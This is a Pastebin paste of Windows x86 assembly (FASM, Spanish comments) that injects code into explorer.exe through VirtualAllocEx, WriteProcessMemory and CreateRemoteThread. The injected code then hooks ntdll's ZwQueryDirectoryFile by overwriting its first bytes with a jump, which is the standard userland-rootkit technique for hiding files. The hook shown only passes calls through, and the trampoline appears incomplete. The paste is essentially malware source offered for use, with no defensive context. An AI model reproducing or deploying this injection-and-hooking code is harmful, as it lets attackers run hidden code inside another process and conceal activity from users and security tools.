Guest User

Untitled

a guest
Jul 17th, 2018
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. include 'win32ax.inc'
  2.  
  3. .data
  4.         ProcessName             db                              "explorer.exe",0
  5.  
  6. .code
  7. start:
  8.  
  9.  
  10.     stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
  11.     cmp eax,-1
  12.     jne salir
  13.  
  14.     invoke MessageBoxA,0,"No se encontró el proceso!",0,0
  15.  
  16.     salir:
  17.     invoke ExitProcess,0
  18.  
  19. proc Inyectar,ProcessName,Tamaño,Funcion,Datos
  20.     locals
  21.         struct PROCESSENTRY32
  22.             dwSize                  dd ?
  23.             cntUsage                dd ?
  24.             th32ProcessID           dd ?
  25.             th32DefaultHeapID       dd ?
  26.             th32ModuleID            dd ?
  27.             cntThreads              dd ?
  28.             th32ParentProcessID     dd ?
  29.             pcPriClassBase          dd ?
  30.             dwFlags                 dd ?
  31.             szExeFile               rb MAX_PATH
  32.         ends
  33.  
  34.         pInfo                   PROCESSENTRY32                  ?
  35.         Handle                  dd                              ?
  36.         PID                     dd                              ?
  37.         DirFuncion              dd                              ?
  38.         hProcess                dd                              ?
  39.     endl
  40.  
  41.     pushad
  42.  
  43.     ;Obtenemos el PID del proceso
  44.     invoke CreateToolhelp32Snapshot,0x00000002,0
  45.     mov [Handle],eax
  46.  
  47.      mov eax,sizeof.PROCESSENTRY32
  48.      mov [pInfo.dwSize], eax
  49.  
  50.     BuclePid:
  51.         invoke Process32Next,[Handle],addr pInfo
  52.         cmp eax,0
  53.         je FinProcBuclePID ;No hay más procesos
  54.         invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
  55.         cmp eax,0
  56.         jne BuclePid
  57.         jmp FinBuclePid
  58.  
  59.     FinProcBuclePID:
  60.     invoke CloseHandle,[Handle]
  61.     popad
  62.     mov eax,-1
  63.     ret
  64.  
  65.     FinBuclePid:
  66.     invoke CloseHandle,[Handle]
  67.     push [pInfo.th32ProcessID]
  68.     pop [PID]
  69.  
  70.     ;Lazamos el proceso
  71.     invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
  72.     mov [hProcess],eax
  73.  
  74.     ;Reservamos espacio en el proceso
  75.     invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  76.     mov [DirFuncion],eax
  77.  
  78.     ;Escribimos los datos en memoria
  79.     invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
  80.  
  81.     ;Creamos el hilo
  82.     invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
  83.     popad
  84.     mov eax,1
  85.     ret
  86. endp
  87.  
  88. proc FuncionInyectada,pGetProcAddress
  89.  
  90.      locals
  91.          BaseKernel32                   dd               ?
  92.          OriginalProtection             dd               ?
  93.      endl
  94.  
  95.      ;Leemos el PEB  para obtener la base de KERNEL32.DLL
  96.      mov eax, [fs:030h]
  97.      mov eax, [eax + 0ch]
  98.      mov eax, [eax + 0ch]
  99.      mKERNEL:
  100.      mov eax, [eax]
  101.      mov ebx, [eax + 030h]
  102.      mov ecx, 00320033h
  103.      cmp ecx, [ebx + 0ch]
  104.      JNZ mKERNEL
  105.      mov eax, [eax + 018h]
  106.  
  107.      mov [BaseKernel32],eax
  108.  
  109.      stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA"    ; Crgamos loadlibraryA
  110.      stdcall eax,"ntdll.dll"                                         ; Cargamos ntdll.dll
  111.      stdcall [pGetProcAddress],eax,"ZwQueryDirectoryFile"       ; Cargamos la api que hookearemos.
  112.      mov ebx,eax
  113.  
  114.      stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
  115.      stdcall eax,ebx,5,PAGE_EXECUTE_READWRITE,addr OriginalProtection   ; Damos permisos de escritura.
  116.  
  117.      ;Calculamos el delta offset
  118.      call delta
  119.      delta:
  120.      pop edx
  121.      sub edx,delta  ;edx=delta
  122.  
  123.      push edx
  124.  
  125.      add edx,dirFind  ; guardamos la dirección de  NtQueryDirectoryFile
  126.      mov dword[edx],ebx
  127.  
  128.      pop edx
  129.  
  130.      mov ecx,edx
  131.      add ecx,ApiOriginal
  132.      mov al,byte[ebx]
  133.      mov byte[ecx],al
  134.      mov byte[ebx],0xE9   ;0xE9=jmp
  135.      inc ebx
  136.      inc ecx
  137.  
  138.      mov eax,dword[ebx]
  139.      mov dword[ecx],eax
  140.  
  141.      mov eax,FuncionHook
  142.      add eax,edx
  143.      sub eax,ebx
  144.      sub eax,4
  145.      mov dword[ebx],eax
  146.  
  147.  
  148.  
  149.      add ebx,4
  150.      add ecx,4
  151.  
  152.  
  153.      ret
  154. ;--------------------------------------------------------------------------------------------------------------------------------------------
  155.  
  156.      ; Primeros bytes de la api y salto a la api original
  157.      ApiOriginal:
  158.          nop
  159.          nop
  160.          nop
  161.          nop
  162.          nop
  163.          nop
  164.          nop
  165.  
  166.          add edx,dirFind
  167.          mov eax,dword[edx]      ;la variable dirFind y la guardamos en eax
  168.          add eax,5           ;Nos desplazamos 5 bytes
  169.          jmp eax
  170. ;--------------------------------------------------------------------------------------------------------------------------------------------
  171.  
  172.      ;Función a la que salta el programa cuando se llama a la API hookeada
  173.      proc FuncionHook,FileHandle,Event , ApcRoutine,  ApcContext,  IoStatusBlock,  FileInformation, Length,FileInformationClass,ReturnSingleEntry, FileMask ,RestartScan
  174.           call delta2
  175.           delta2:
  176.           pop edx
  177.           sub edx,delta2
  178.  
  179.           push [RestartScan]
  180.           push [FileMask]
  181.           push [ReturnSingleEntry]
  182.           push [FileInformationClass]
  183.           push [Length]
  184.           push [FileInformation]
  185.           push [IoStatusBlock]
  186.           push [ApcContext]
  187.           push [ApcRoutine]
  188.           push [Event]
  189.           push [FileHandle]
  190.  
  191.           mov ecx,edx
  192.           add ecx,ApiOriginal
  193.  
  194.           call ecx            ; NtQueryDirectoryFile
  195.  
  196.           ret
  197.      endp
  198. ;-------------------------------------------------------------------------------------------------------------------------------------------
  199.       dirFind                  dd  ?
  200. endp
  201.  
  202. FINFuncion:
  203. .end start
Add Comment
Please, Sign In to add comment